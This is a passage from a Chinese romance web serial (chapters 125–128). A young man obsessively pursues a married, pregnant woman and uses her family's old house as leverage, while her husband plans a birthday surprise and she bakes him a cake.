“你……”他的声音干涩得像是砂纸摩擦过木头,眼神死死地盯着岑予衿的小腹,像是要穿透那层黑色的衣料,看个究竟,“你真的结婚了?还怀孕了?” 他的语气里满是不敢置信,还有一丝自己都没察觉到的委屈和慌乱。 他的计划完全被打乱了! 这是他万万没想到的事情。 但仅仅是愣了一瞬。 沈思勉忽然笑了,那笑容起初带着点僵硬。 随即却迅速蔓延开来,甚至比之前更加灿烂,更加不顾一切。 他弯腰,若无其事地捡起地上的戒指,用指腹擦了擦,重新攥在手心。 “怀孕了又怎样?”他直起身,往前逼近一步,目光灼灼地盯着岑予衿,“结婚了又怎样?” 他声音不大,却带着一种近乎偏执的狂热,清晰地传到岑予衿耳中,也传到了周围竖着耳朵的宾客那里。 “姐姐,我不在乎。”沈思勉又笑了,露出那颗标志性的虎牙,可眼神里却没有半分少年人的纯真,只有一种不管不顾的疯劲,“我就是喜欢你,自从咱俩第一次见面,我们一块出去散步,我就知道,我完了。” 岑予衿被他逼得后退了半步,护着小腹的手收紧,警惕地看着他,“沈思勉,你清醒一点。” “我很清醒!”沈思勉提高声音,周围再次安静下来,所有人都屏息看着这场越发离奇的戏码,“比我过去二十年都清醒!我知道自己在做什么!不就是怀孕了吗?不就是有老公吗?” 他深吸一口气,胸膛起伏,眼中光芒大盛,一字一句,掷地有声,“我无所谓啊!” “我可以等!等你生下孩子,等你有空理我!我不介意你有家庭,不介意你怀着别人的孩子!姐姐,我就想对你好,就想跟你谈恋爱!哪怕……”他顿了顿,舌尖舔了舔有些干的嘴唇,吐出石破天惊的一句,“哪怕当三,我也认了!” “轰——” 整个餐厅彻底炸开了锅。 这次不再是压抑的惊呼,而是实实在在的哗然! “我的天!他说什么?当三?!” “疯了吧这小孩?长得人模人样怎么脑子不正常?” “这是我能免费听的吗?太刺激了!” “这女的到底什么来头啊?把一个富二代迷成这样?” 拍照的闪光灯几乎连成了片,甚至有人举起了手机开始录像。 经理匆匆赶来,却一时不知该如何处理这场面,客人没动手,只是表白,他们能怎么办? 岑予衿只觉得一股寒意从脚底直冲头顶,血液都仿佛凝固了。 她看着眼前眼神炽热、笑容灿烂的沈思勉,第一次真切地感受到了一种恐惧感! 这不是少年人一时冲动的喜欢,这是一种偏执的、不计后果的纠缠。 “你疯了。”她声音发颤,这次是真的有些怕了。 她不怕明刀明枪的算计,却怕这种甩不掉的牛皮糖似的疯魔。 “对,我就是疯了!”沈思勉毫不在意周围的混乱和指责,他的世界里仿佛只剩下了岑予衿一个人,“为你疯的!姐姐,给我个机会好不好?我不逼你马上离婚,我可以等,可以慢慢来。老宅的地契我明天就让人送到你手上,就当是我送你的礼物,好不好?” 他说着,又想上前。 岑予衿猛地后退,厉声道,“你别过来!” 她护着肚子,心脏狂跳。 双胞胎的孕期本就比单胎更小心,她不能有任何闪失。 “姐姐,你知道的,我不缺钱,我想要的只是一个你而已!” 沈思勉笃定她会为了岑家老宅答应她。 他的声音带着蛊惑,“我都能给你当三,也没有想过现在就破坏你的家庭,你真的不再考虑一下吗?” “姐姐,男人都是有劣根性的,万一你老公不是什么好东西呢?” “再说了,你老公年纪大了,不可能有我会讨你欢心,男人家里红旗不倒,外面彩旗飘飘的比比皆是。” 沈思勉见她一脸防备的模样,举起双手,后退,坐回自己的位置,双腿交叠,嘴角挂着似有若无的笑意,看向她,“你也可以试试青春男大到底是什么感觉,不亏的!” 岑予衿的脑子已经完全转不过弯了,这是一个正常人能说出来的话吗? 显然不是! 她低头看了一眼时间。 再这么耗下去没有意思,拍照的人那么多,要是被陆京洲知道就真的完了! 不知道他们约在哪里,皇都可就在附近! 第125章 姐姐很抢手哦 时间在死寂与哗然中胶着,每一秒都被拉得无限长。 岑予衿能感觉到冷汗正顺着脊背缓缓滑落,浸湿了内衫。 沈思勉那番惊世骇俗的宣言还在空气中回荡,周围投来的目光已从惊讶变成了赤裸裸的探究,甚至还有几分看好戏的恶意。 不能再拖了。 岑予衿深吸一口气,强迫自己忽略那些目光,忽略沈思勉眼中燃烧的偏执火焰。 她必须尽快结束这场闹剧,在事态彻底失控之前。 “沈思勉!”她开口,声音因竭力维持镇定而略显紧绷,但每个字都咬得清晰,“我不想再跟你纠缠这些毫无意义的话题。我来这里,只为了一件事岑家老宅。” 她略略抬高了声音,确保周围几个离得近、竖着耳朵的人能听清,也意在将话题拉回正轨,冲淡刚才那荒诞一幕的余波。 “你买下老宅时,花了五千万。”岑予衿直视着他,目光锐利,“我出八千万,立刻交易。行,还是不行,一句话。” 她抛出了价码,也划下了底线。速战速决,用最直接的方式。 沈思勉脸上的狂热笑容微微一滞,似乎没料到她能在这种时候,如此干脆地切换回谈判模式。 他交叠的双腿换了个姿势,身体向后靠在椅背上,指尖无意识地摩挲着那枚被他重新捡起的戒指,眼神在岑予衿镇定却掩不住焦急的脸上流连。 餐厅里嗡嗡的议论声低了下去,众人的注意力又被这突如其来的谈判吸引。 毕竟,比起狗血的情感纠葛,真金白银的交易同样刺激。 而且似乎还是双豪门纠葛。 就在沈思勉嘴唇微动,似乎要给出回应时,他放在桌面的手机屏幕,突兀地亮了起来。 一条新消息提示弹出。 沈思勉的视线下意识地扫了过去。 只一眼,他眉梢微不可察地挑动了一下。 随即,那抹原本有些僵住的笑意重新漾开,甚至比之前更深,更带着一种玩味的、掌控全局的惬意。 他没有立刻回复岑予衿,反而慢条斯理地拿起手机,解锁,点开那条消息,仔细看了几秒。 他缓缓抬起头,迎着岑予衿等待答案的目光,笑了。 “姐姐,”他声音不大,却足以让附近的岑予衿听得清清楚楚,语气里带着一丝遗憾,又混杂着明显的兴奋,“看来,老宅很抢手啊。” 他将手机屏幕转向岑予衿,但隔了一段距离,岑予衿只能看到模糊的光影和文字轮廓,看不清具体内容。 “刚刚收到消息,另一位买家,也对岑家老宅势在必得。”沈思勉拖长了语调,像是在品尝某种美味,“而且,对方出价……” 他故意停顿,欣赏着岑予衿陡然绷紧的下颌线。 “一个亿。” 这三个字,如同重锤,敲在岑予衿心上。 她瞳孔微缩,护在小腹上的手无意识地收拢。 八千万,已经是她能调动的极限。 一个亿?远远超出了她的预期和能力范围。 沈思勉满意地看着她瞬间苍白的脸色,将手机收回,身体前倾,双手交叉放在桌上,恢复了那副看似漫不经心实则步步紧逼的姿态。 “你看,姐姐,市场价就是这样,价高者得。”他耸耸肩,仿佛在说一件再平常不过的事情,“八千万……恐怕不行了。现在,它的起步价,至少也得是这个数。” 他伸出一根手指,在岑予衿面前晃了晃。 不是八千万,也不是一个亿。 是狮子大开口的试探,是趁火打劫的嚣张。 岑予衿的心彻底沉了下去。 她清楚的知道,沈思勉根本就没打算诚心卖老宅,或者说,他真正的目的从来就不是钱。 老宅只是他拿捏她、逼迫她、纠缠她的一个工具和借口。 现在有了竞争对手的出现更是给了他漫天要价的理由。 继续留在这里,除了被他用各种。我的理由骚扰,不会有任何结果。 不能再待下去了。 岑予衿闭了闭眼,再睁开时,眼底只剩下冰冷的决绝。 她不再看沈思勉,也不再看周围任何一个人,弯腰,动作有些迟缓却坚定地拿起搭在椅背上的羊绒大衣,重新披上,仔细扣好扣子,将隆起的小腹重新掩藏在那片温软的灰色之下。 然后,她拎起自己的手包,转身,一言不发地朝着餐厅门口走去。 背影挺直,脚步却带着一丝不易察觉的虚浮和急促。 “姐姐!”沈思勉在身后叫她,声音里带着笑意,也带着一丝未尽的威胁,“价格我们可以再商量嘛!或者,你考虑一下我的提议?我等你电话哦!” 岑予衿脚步未停,仿佛没有听见。 …… 皇都! 陆京洲看着两个损友! 一杯接一杯的喝着酒,玩的不亦乐乎。 忍不住出声提醒,“我让你们来是帮我想办法的,你们这会在干嘛?” “花你的钱潇洒呗。” 俩人听到这话都停下了手里的动作,“我们对你说的这些又没什么经验,该怎么说?” 他让他们帮忙想办法准备生日惊喜,准备礼物。 可是……他俩到现在还单身呢,该怎么给他提意见? 根本提不了嘛! 程凌晟指了指窗边的位置,“想要浪漫的话站在那边,看看对面那个著名情侣餐厅恒慕里的小情侣,找找灵感。” 陆京洲被程凌晟这么一指,下意识地顺着方向,朝皇都巨大的落地窗外望去。 皇都坐落在繁华商圈的高层,视野极佳,对面便是以奢华浪漫著称的“恒慕”情侣餐厅。 此刻,恒慕临街的落地窗内灯火通明,能模糊看到里面人影憧憧,似乎正有一场不小的骚动。 距离有些远,加上光线和玻璃的反光,其实看不太真切具体的人和事。 只能隐约瞧见一处靠窗的位置似乎围了不少人,有手机闪光灯零星亮起,像是什么引人注目的场面。 陆京洲本只是随意一瞥,目光漫无目的地扫过那个喧闹的中心点。 然而,就在他准备移开视线时,一道身影撞入了他的眼帘。 那是一个穿着灰色羊绒大衣的女子,正转身从人群中心向外走。 大衣的款式简洁优雅,与她清冷挺直的背影相得益彰。 她微微低着头,步履匆匆,似乎急于离开那个是非之地。 只这一眼,陆京洲的心跳莫名漏跳了一拍。 那身形……那走路的姿态……还有那件大衣…… 怎么那么像笙笙? 他老婆! 不可能。陆京洲立刻否定了这个荒谬的念头。 她说公司有事儿,怎么会跑到城东的恒慕餐厅来? 而且恒慕……那是情侣餐厅,她跟女性朋友去那里做什么? 更何况,那边看起来像是在上演什么求婚或者表白的戏码,热闹得近乎混乱。 一定是自己看错了,因为心里一直惦记着给她准备生日惊喜的事,以至于出现了幻觉。 对,是魔怔了。 陆京洲自嘲地扯了扯嘴角,收回了目光,端起面前已经微凉的酒杯,刚要喝,又突然想起要去接她便放了下来。 “看什么呢?这么入神?”旁边的损友凑过来,也朝窗外看了看,“哦,恒慕啊,好像有人搞事情?啧,现在的小年轻,表白都搞得跟拍电影似的。” “没什么,”陆京洲放下酒杯,语气恢复了平静,甚至带着一丝不易察觉的烦躁。 他强迫自己将注意力转回到两个朋友身上,尽管他们看起来确实不太靠谱。 “继续,别打岔。礼物、惊喜,到底有没有建设性意见?没有的话,今晚的酒钱AA。”陆京洲试图用威胁拉回正题。 “别啊阿洲!”程凌晟立刻叫起来,“我们这不是在帮你想吗?浪漫嘛……无非就是鲜花、珠宝、烛光晚餐,再加点独一无二的用心……比如,你亲手做点什么?” “一点诚意都没有。”陆京洲的眉头皱的死紧,这些他都送过了。 他需要的是那种独一无二的礼物。 傅星驰缓缓起了身,眉头舒展开来,“我倒是有一个绝佳的礼物,想不想知道是什么?” 陆京洲这会是死马当成活马医,“什么?” “她不是很在乎她嫂子岑予衿吗?岑家老宅早就被拍卖了,要是你把岑家老宅买下来送给她,她肯定很开心,这也很有意义。” 陆京洲的眉头骤然松开了些许,眼底闪过一道亮光。 岑家老宅! 傅星驰这个提议,像是一道闪电,瞬间劈开了他心中的迷雾。 他怎么就没想到呢? 如果他能在她生日的时候,将岑家老宅的钥匙和产权文件放在她面前…… 这不仅仅是一份昂贵的礼物,更是一份理解,一份支撑,一份替她弥补遗憾。 远比鲜花珠宝更能触动她心底最柔软、也最在意的地方。 这绝对算得上是“独一无二”的惊喜。 “老宅……”陆京洲低声重复,手指在桌面上轻轻敲击,迅速盘算起来,“我记得,是被我姑姑家那个小儿子,沈思勉拍走了?” “应该是的。” 陆京洲让人去查了一下,他拍下来的时候是5000万,他翻了两倍给他,他应该会忍痛割爱吧? 沈思勉给他的回答居然是,不卖! 陆京洲软的不行,都想来硬的了。 第126章 想约我共进晚餐? 陆京洲的眉头重新锁紧,指尖在手机屏幕上烦躁地敲击了几下。 沈思勉拒绝得干脆利落,一点面子都不给他。 这小子也太反常了。 算了,软的不行就来硬的,哪怕是抢这份生日礼物,双手捧到老婆面前。 看了眼腕表,时间差不多了,老婆那边应该快结束了。 不管怎样,先接到她再说。 或许是他多虑了,或许沈思勉只是单纯地不想卖,或者想拿乔抬价。 “算了,老宅的事回头再说。”陆京洲站起身,拿起搭在椅背上的西装外套,语气恢复了惯常的沉稳,只是眼底还残留着一丝未散的冷意,“我先去接笙笙,三天后的生日,准备好生日礼物。” 他一边往外走,一边拨通了岑予衿的电话。 电话响了七八声,在陆京洲眉头越皱越紧,几乎要挂断重拨时,终于被接起。 “喂?”岑予衿的声音传来,带着一丝不易察觉的疲惫和沙哑,背景音很安静,隐约有风声。 “笙笙,在哪儿?结束了吗?我去接你。”陆京洲放柔了语气,一边快步走向电梯。 电话那头静默了两秒,才响起岑予衿的声音,比刚才清晰了一些,但依旧有些飘忽,“嗯,结束了。我在……云水路这边,有点冷,在路边等你。” 云水路?陆京洲脚步微顿。 云水路在城东,离恒慕餐厅不远。 “怎么跑到云水路去了,不是公司的方向呀?”他按下电梯按钮,状似随意地问,目光却锐利起来。 “哦……临时改地方了,这边……有家新开的甜品店,她们想来尝尝。”岑予衿的声音听起来有些匆忙,语速略快,“你快到了吗?外面有点凉。” “马上到,找个背风的地方等着,或者是找个咖啡厅,别着凉。”陆京洲没再多问,挂了电话,脸上那点柔和瞬间褪去。 他坐进车里,吩咐司机:“去云水路,快。” 车子滑入夜色,陆京洲靠着椅背,看着窗外飞速倒退的流光。 车子很快抵达云水路。 远远地,他就看见岑予衿独自一人站在路边一盏路灯下。 灰色的羊绒大衣将她裹得严严实实,双手插在口袋里,微微低着头,路灯昏黄的光线洒在她身上,勾勒出单薄而沉默的轮廓。 和他之前在皇都看到的那个匆匆离开恒慕的背影一模一样。 司机将车平稳地停在她面前。 陆京洲推开车门,快步走了过去。 “笙笙。”他唤了一声,伸手想去牵她。 岑予衿似乎惊了一下,猛地抬起头。 路灯下,她的脸色有些苍白,眼圈似乎也有些微红,但看到他,还是努力挤出一个笑容,“你来啦。” 陆京洲的手在半空中顿了一下,随即自然地揽住她的肩膀,将她带向车里,“怎么站这儿吹风?手这么凉。” 他触到她指尖的冰冷,眉头蹙起,脱下自己的西装外套,不由分说地披在她肩上,带着他体温的暖意瞬间包裹住她,“是不是有人欺负你?” “没事,刚出来没多久。”岑予衿顺从地坐进车里,指尖无意识地抓紧了披在身上的西装外套,上面还残留着他的气息和温度,让她慌乱的心稍微安定了一点,却也生出一丝难以言喻的愧疚。 她依旧没有看他,目光落在窗外飞速倒退的街景上。 陆京洲从另一侧上车,关上车门。车厢内瞬间被暖意和寂静包围。 他没有立刻让司机开车,而是侧过身,仔细地看着岑予衿的侧脸。 她的睫毛低垂,在眼睑下投出浅浅的阴影,嘴唇抿得有些紧。 今晚的她,格外沉默,也格外……不一样。 “生意谈的怎么样?”他问,声音放得很轻,像是怕惊扰了什么。 岑予衿身体几不可察地僵了一下,手指更深地陷进西装外套柔软的布料里,“还……还行。就是有点累了。” 她终于转过头,对他笑了笑,那笑容却带着显而易见的勉强,“可能最近没休息好。” 陆京洲深深地看了她一眼,没有戳破,只是伸手将她有些冰凉的手重新握进掌心,轻轻摩挲着,“累了就休息,靠着我。” 他将她往自己身边带了带。 岑予衿这次没有抗拒,顺从地将头靠在他坚实的肩膀上,闭上了眼睛。 熟悉的冷冽气息混合着淡淡的烟草味萦绕在鼻尖。 让她紧绷了一晚上的神经终于一点点松懈下来,疲惫感如潮水般涌上,“阿洲,你不许抽烟了!” 岑予衿将她的手放在自己的肚子上。 陆京洲一下子就明白了,“好,我答应你。” 她心底那块巨石,却依旧沉甸甸地压着,沈思勉的疯话,老宅的天价…… 压的她根本喘不过气。 她要怎样才能拿回自己的家,难不成真要当他女朋友吗? 不可能,绝对不可能。 车子平稳地行驶着,两人谁都没有再说话,各自沉浸在自己的思绪里。 回到家,暖黄的灯光驱散了门外的寒意。 陆京洲习惯性的帮她换鞋,把她身上的大衣挂好。 “你坐着休息,我去给你倒杯水。”陆京洲按住她的肩膀,语气不容置疑。 他转身去了厨房,很快端着一杯温牛的出来,递给她。 岑予衿接过水杯,温热透过杯壁传到掌心。 她小口啜饮着,目光有些游离。 陆京洲坐在她旁边的沙发上,解开领口的两颗扣子,显得有些慵懒,但目光却一直似有若无地落在她身上。 空气安静得有些微妙。 岑予衿的目光无意中扫过客厅墙上简洁的电子日历。 上面的日期让她微微一愣。 12月20日。 三天后……是12月23日。 一个几乎被她遗忘,却又在心底某个角落隐隐刻着的日期。 陆京洲的生日。 她猛地抬头看向身边的男人。 他正低头看着手机屏幕,侧脸线条在灯光下显得有些冷硬,眉心微蹙,似乎在处理什么棘手的信息。 不行,她必须得做点什么。 三天时间,虽然紧,但还来得及准备一份心意。 什么礼物好?领带、袖扣、手表?似乎都太普通了。 他什么也不缺。 或许……亲手做点什么? 或者,安排一次只有他们两人的短途旅行? 可是她怀着双胞胎,出行不便…… 岑予衿兀自陷入沉思,连水杯空了都没察觉。 陆京洲收起手机,抬眸就看到她一副神游天外,眉头紧锁的模样,指尖还在无意识地摩挲着杯壁。 “在想什么?”他出声,打破了沉默。 岑予衿回过神来,掩饰性地放下水杯,“没什么,就是有点困了。” 她站起身,“我先去洗漱了” “好。”陆京洲点点头,看着她略显匆忙上楼的背影,眼神深邃,“洗好等我,我给你擦妊娠油。” 他需要查清楚今晚的事,也需要给沈思勉一个“深刻”的教训。 但在这之前……他低头,再次看了一眼手机日历上那个被他特意标注出来的日期——12月23日。 是他老婆的生日! …… 时间过得飞快。 三天转瞬即逝。 清晨的微光透过薄纱窗帘,在卧室地板上投下一片柔和的光晕。 岑予衿是被身侧轻微的动静吵醒的,她睫毛颤了颤,睁开眼时,恰好对上陆京洲看过来的目光。 他刚睡醒,眼底还带着点惺忪的倦意,却在看到她睁眼的瞬间,弯起了唇角,伸手替她掖了掖被角,“醒了?再睡会儿,今天不用去公司。” 岑予衿摇摇头,往他怀里缩了缩,鼻尖蹭到他温热的胸膛,闻到熟悉的气息,心底那点因老宅而起的焦虑淡了些,“睡不着了。” 她顿了顿,目光在他脸上转了一圈,又飞快移开,“今天……没什么安排吧?” 陆京洲低笑一声,捏了捏她的脸颊,指尖触到她细腻的皮肤,语气带着几分慵懒的宠溺,“老婆这是想约我?” “嗯,想约你共进晚餐有时间吗?” 陆京洲低头捏了捏她的小脸,声音里透着遗憾,“抱歉,老婆今天有点忙,一整天都不在家,等会看情况,晚上再给你答复可以吗?” 陆京洲想给她准备的生日惊喜还没有准备好。 “会忙到今天晚上,一晚都不回家吗?” 陆京洲笑着摇了摇头,“那倒不会。” 不在家就好,她还可以布置一下房间。 “那就好。”岑予衿心里稍微松了口气,面上却只是轻轻“嗯”了一声,没再多问。 两人之间仿佛隔着层心照不宣的纱,都小心翼翼地将真正的目的。 陆京洲没再多说,吻了吻她的额头,起身去洗漱。 等他收拾妥当,穿着裁剪合体的西装,岑予衿已经在浴室洗漱了。 晨光勾勒着她穿着居家服的柔和背影,小腹微微隆起的弧度让她整个人都笼罩在一种静谧的光晕里。 他走过去,从身后轻轻环住她的腰,下巴搁在她发顶,“我出门了,中午记得按时吃饭,有事随时给我打电话。” 声音低沉温柔。 “知道了,你也是。”岑予衿侧头,在他唇角回了一个轻吻,像往常每一个普通的早晨。 陆京洲眸色深了深,用力抱了她一下,才松开手,转身离开。 门关上,隔绝了外面的世界。 岑予衿靠在流理台边,听着汽车引擎声远去,才缓缓吐出一口气。 她摸了摸小腹,低声呢喃,“宝宝,今天是爸爸生日哦。” 等他离开她就忙了起来。 岑予衿先联系了花店,预订了茉莉和白玫瑰,要求下午送到。 接着开始最难的做蛋糕! 第127章 陆京洲27岁生日 岑予衿是手残党,完完全全的厨房小白,好在陆京洲很厉害,她压根没机会进厨房。 要不然他们家的厨房已经被炸了好几次了。 不过不得不提的是陆京洲的厨艺是真的很好。 她想着自己做一个小蛋糕,裱花什么的不太会,但是放几颗水果,还是可以的。 从现在到晚上多做几个,哪个好看就要哪个,还有时间。 至于房间的布置,交给赵姐和吴妈他们。 陆京洲一天都不回家,倒是给了她充足的时间。 手工活她是真的不行,能做的只有一个蛋糕,再亲手给他包一束花。 还有一份……他梦寐以求的礼物——早就准备好,一直没机会送出去的檀月山庄。 他应该会喜欢这个礼物。 毕竟是他亲口说的,他娶她只是因为檀月山庄。 不知道他的这句话是不是真心的。 也不知道他拿到檀月山庄后……两人之间的关系会不会发生变化。 可她知道陆京洲收到这份生日礼物,会很开心,就足够了。 哪怕拿到檀月山庄后,他不回家,又变成了那个所有人眼里的二世祖陆京洲也没关系。 换位思考一下,陆京洲想要檀月山庄就像她想要岑家老宅,是一个道理。 她能做到真正的感同身受。 婚反正是离不了。 她也还有宝宝。 人不能贪心,已经足够了。 提到岑家老宅,岑予衿重重的叹了口气……一亿就一亿,哪怕她把手里所有的钱砸进去,只要他不在,坐地起价。 只要他是真心想卖,她买! 钱是赚出来的。 “少夫人,蓝莓都溢出来了。”赵姐的声音从身后响起,岑予衿才回过神,立马把水龙头关了。 将蓝莓全捞出来,放在沥水篮里,“赵姐,我订的那些材料够吗?不够的话,我再让人送过来一些。” 她订了很多气球,鲜花之类的,想着把家里简单的布置一下。 但是她怀着孩子,布置这种东西始终不太方便。 而且时间来不及,只能交给他们。 “少夫人放心,够够的!” 吴妈也不知何时到了门口,感叹道,“二少爷自从小姐去世之后就没有过过生日了,这还是第一次这么隆重的过生日呢。” 岑予衿手上的动作没停,“是嘛,那得让他一辈子都忘不了。” 陆京洲过完生日都27了。 然而梦想与现实之间的差距,往往像一道难以跨越的鸿沟。 岑予衿对着手机上的教程,信心满满地开始第一次尝试。 称重、搅拌、过筛……步骤看起来井井有条,可当那盘面目模糊、颜色可疑的糊状物从烤箱里端出来时,连吴妈都迟疑了一下,才小心地评价,“少夫人……火候,可能稍微大了一点点。” 因为每个烤箱都是不一样的。 岑予衿不信邪,认定是烤箱温度的问题。第二次,她加倍小心,每一步都屏住呼吸。 可不知怎么,打发好的蛋白霜一混合进去就迅速消泡,烤出来的蛋糕体塌陷得像一块沉重的石头。 她深吸了一口气,安慰自己,没关系,没关系,至少水果她切的很好看。 摆上去会很漂亮的! “没关系,失败是成功之母!”她给自己打气,洗刷模具的动作带着一股倔强。 赵姐在一旁看得心疼,几次想上手帮忙,都被岑予衿拦住了,“赵姐,说好了要我自己来的,今天晚上的晚餐交给你喽~” “没问题。”赵姐信誓旦旦的保证,时间还早,在旁边看她做蛋糕。 第三个倒是蓬松了,可她着急放水果,没等蛋糕晾凉就摆了蓝莓,奶油全化在了蛋糕胚里,变成一滩黏糊糊的紫色的。 她泄气地把刮刀扔在碗里,看着满台狼藉,小声嘀咕:“怎么这么难啊。” 赵姐在一旁收拾残局,忍不住笑,“少夫人别急,做蛋糕讲究火候和手法,您这是第一次上手,已经很不错了。” 她重新系好围裙,第四次站到操作台前。 这次,她不再紧绷,也不再机械地对照步骤。 她回想陆京洲在厨房里的样子,从容不迫,仿佛那些食材就该听他指挥。 她放慢了速度,像对待一件珍贵的艺术品,轻柔地混合,仔细地观察面糊的状态。 时间一分一秒过去。当烤箱“叮”的一声响起,她几乎不敢去看。 直到慢慢拉开门,一股温暖香甜的气息扑面而来,一个色泽金黄、蓬发均匀的蛋糕胚,安安稳稳地躺在模具里。 “成了!”她低呼出声,眼睛亮了起来。 脱模,晾凉,涂抹奶油。 她没有试图挑战高难度的裱花,只是用刮刀仔细地抹平表面,然后小心翼翼地将沥干水的蓝莓一颗一颗摆上去,围成简单的圆圈,中间放上一颗最大的草莓,再用薄荷叶点缀。 一个朴素,甚至有些笨拙的奶油蛋糕完成了。 它比不上任何甜品店的精致,奶油涂抹得不算绝对平滑,蓝莓也摆得没那么均匀。 但在岑予衿眼里,这却是她今天最了不起的作品。 她将它小心地放进冰箱,轻轻合上门,重重的松了一口气。 至少蛋糕是搞定了。 岑予衿耷拉着肩膀,视线落在旁边的面粉袋上,忽然想起陆京洲过生日,除了蛋糕还得有长寿面。 她眼睛一亮,拽住赵姐的胳膊,“赵姐,你教我做长寿面吧!这个应该比蛋糕简单。” 赵姐拗不过她,只好挽起袖子,从揉面开始教。 岑予衿学得格外认真,连额角的碎发掉下来都没察觉,和面时力气没掌握好,溅了满脸面粉,活像只刚偷吃完面粉的小花猫。 醒面的功夫,她又翻出家里的胡萝卜,掏出把水果刀,非要在胡萝卜片上刻“生日快乐”四个字。 她手笨,刻坏了好几片胡萝卜,指尖还不小心划了道小口,渗出血珠也没在意,直到四个字,工工整整,才举起来给赵姐看,“你看,能认出来吧?” 赵姐笑着点头,“当然能,少夫人有心了。” 长寿面也算是大功告成了! 花儿也醒的差不多了,包一束花那可是她的强项。 主花是簇拥着的白玫瑰,缝隙里坠着簇簇茉莉,奶白的小花苞裹着嫩青,连带着那层若有似无的甜香,都像藏在风里的碎碎念。 黑色包装纸是哑光的质感,像把所有张扬都收进了克制里,只让花材的白与叶的绿跳出来,丝带印着‘JUST FOR YOU’字样! 至于贺卡是岑予衿亲手写! 弄完一切,时间还早,她给陆京洲发了个消息,他估计在忙,没有回。 人一闲下来就会胡思乱想,她也不例外。 又想到了老宅! 还是给沈思勉发了个消息,【一个亿,谈谈!】 沈思勉立马发了个定位过来,【可以的,姐姐~过时不候哦。】 说着,又发了张照片过来,看起来应该是在谈合作。 【晚了我可就卖给别人喽~】 第128章 你要给人当三! 沁心园! 陆京洲的手指把玩着茶杯盖。 看向面前不停发着消息的小屁孩。 “沈思勉把头给我抬起来,手机给你砸了,信不信?!” “表哥,真不是我不想把手里的这栋房子给你,是我要追的那个女孩也想买,要不然就咱俩的关系?我直接送你都行!” 沈思勉重重的叹了口气,声音里满是委屈。 “所以在你心里,我还没有一个没追上的女孩重要!” “不是,都重要,但是呢……这女孩我是追定了!”沈思勉说到这个眼里都发着光。 “追女孩也不是只能用房子来换吧!你用手段勾引一下不就行了。”陆京洲有些烦躁的点了根烟。 笙笙不喜欢他抽烟,但实在没办法,所有的一切都准备好了,就差生日礼物没拿下! 他必须抽根烟缓解一下。 说到这个,沈思勉放下了手机,冲着他摊了摊手,“我要是能勾引到就好了,她老公也不知道是个什么货色,值得她那么死心塌地!还怀着孩子呢,我勾引有什么用?” 陆京洲没敢相信自己耳朵听到的话,“你再说一遍,沈思勉你疯了?你的书都读到狗肚子里面去了?” “我喜欢她,我有什么错?”沈思勉丝毫没觉得自己有什么问题,眼珠子转了转,立马就有了主意,“哥,你以前不是也没有情丝,这会怎么突然上道了?你给我传授点经验,或者是帮我追追呗。” “像你这样没有道德底线的事情,我才不做。” 说到这个他就不服气了,他怎么就没有道德底线了,“现在男人能是什么好东西?出去找小三的那么多,女人难道就不能找小三小四吗?我又没想过破坏她的家庭,我给她当三还不行吗?” 陆京洲夹烟的手指顿在半空,像被按了暂停键,烟灰簌簌掉在昂贵的红木桌上。 他缓慢地转过头,看向沈思勉那张尚带着少年气、却吐出惊世骇俗言论的脸,仿佛第一次认识这个从小看到大的表弟。 他张了张嘴,喉咙里像是堵了团浸了水的棉花,半晌,才找回自己的声音,干涩得发紧,“你再说一遍?你要当什么?” 沈思勉挺了挺胸,理直气壮,“当三啊!我又不强求名分,也不逼她离婚,我就默默对她好,陪着她,这也不行?她老公对她肯定没我好!” 陆京洲深深吸了一口气,那口烟呛在肺管里,激得他剧烈咳嗽起来,眼尾都咳出了生理性的泪花。 他一手撑着桌沿,另一只手徒劳地挥开眼前的烟雾,看着沈思勉的眼神混合着荒谬、震惊,和一丝他自己都没察觉到的……恐慌? “你……你妈,我姑姑,知道你这……这宏伟志向吗?”他几乎是咬着后槽牙问出来的。 沈思勉缩了缩脖子,气势弱了点,但嘴还挺硬,“我妈不知道……但这关我妈什么事?这是我自己的感情,我自己的选择!表哥,你别用那种看外星人的眼神看我,现在都什么年代了,真爱至上你懂不懂?” “真爱至上?”陆京洲重复着这四个字,像在咀嚼什么难以理解的天书。 他猛地将烟头摁灭在烟灰缸里,力道大得几乎要将瓷缸戳穿,然后抬起眼,目光沉沉地钉在沈思勉脸上,带着一种近乎疲惫的疏离,“行。沈思勉,你爱怎么‘至上’怎么‘至上’。你们小孩儿现在这套……我真不懂。” 换位思考一下,要是他老婆怀着孕被这种男人纠缠,他绝对一巴掌扇死他。 算了,想这些也没有意义。 她老婆才看不上这种乳臭未干的小屁孩。 陆京洲扯了扯嘴角,露出一抹毫无笑意的弧度,声音低了下去,像是自言自语,又像是说给某个不在场的人听,“也幸好……不懂。” “行。”陆京洲弹了弹烟灰,语气有些不耐,“你想怎么追我不管,把房子给我,别的我帮你处理。” 沈思勉眼睛一亮:“真的?表哥你同意帮我了?也不用太麻烦,你就……帮我创造个偶遇机会?或者……让她老公出个差什么的?她和她老公感情好像挺好的,但我觉得我有机会!” 陆京洲只觉得太阳穴突突直跳,为了岑家老宅,他忍了,“把人约出来,地点时间你定,我会安排。前提是,房产证先给我看过,协议签好。” “没问题!”沈思勉喜笑颜开,立刻拿起手机,“我这就约她!就今晚?表哥你稍微等会……哦对,你别忘了嫂子还在家等你呢。” 提到岑予衿,陆京洲动作几不可查地顿了一下,随即语气更冷,“不用你操心。地点发给我。” “好嘞!沁心园隔壁的‘云深处’茶室,清静!”沈思勉迅速敲定了消息发出去,“她马上过来。” 几乎是同时,陆京洲口袋里的手机震了一下。 他拿出来瞥了一眼,是岑予衿早些时候发来的消息,问他晚上回不回家吃饭。 他当时在谈事,只扫了一眼没回。 此刻看到沈思勉那副跃跃欲试的样子,他莫名烦躁,手指动了动,迅速打字,【回,一定回,不过现在有点事情,老婆等我。】 发送。 几乎能想象到她看到这条消息时,会抿唇浅笑一下,然后乖乖在家等着的样子。 心口那阵莫名的烦躁和空落,似乎被这想象中的画面稍稍抚平了一些。 然后他抬眼,盯着沈思勉,“现在,给我看房产相关文件。” “我先把人约出来再说。” 陆京洲的眉峰瞬间拧成了川字,指节叩了叩红木桌面,发出沉闷的声响,语气里的寒意几乎要将茶室的温度冻穿,“沈思勉,别跟我讨价还价。你是想先拿到帮你追人的承诺,还是想彻底断了拿老宅换人情的念头?” 沈思勉被他这眼神看得一缩,摸了摸鼻子不敢再犟,磨磨蹭蹭地从随身的公文包里掏出一沓文件,推到陆京洲面前,“喏,都在这儿了,房产证、土地使用证,还有转让协议的草稿,你先看。” 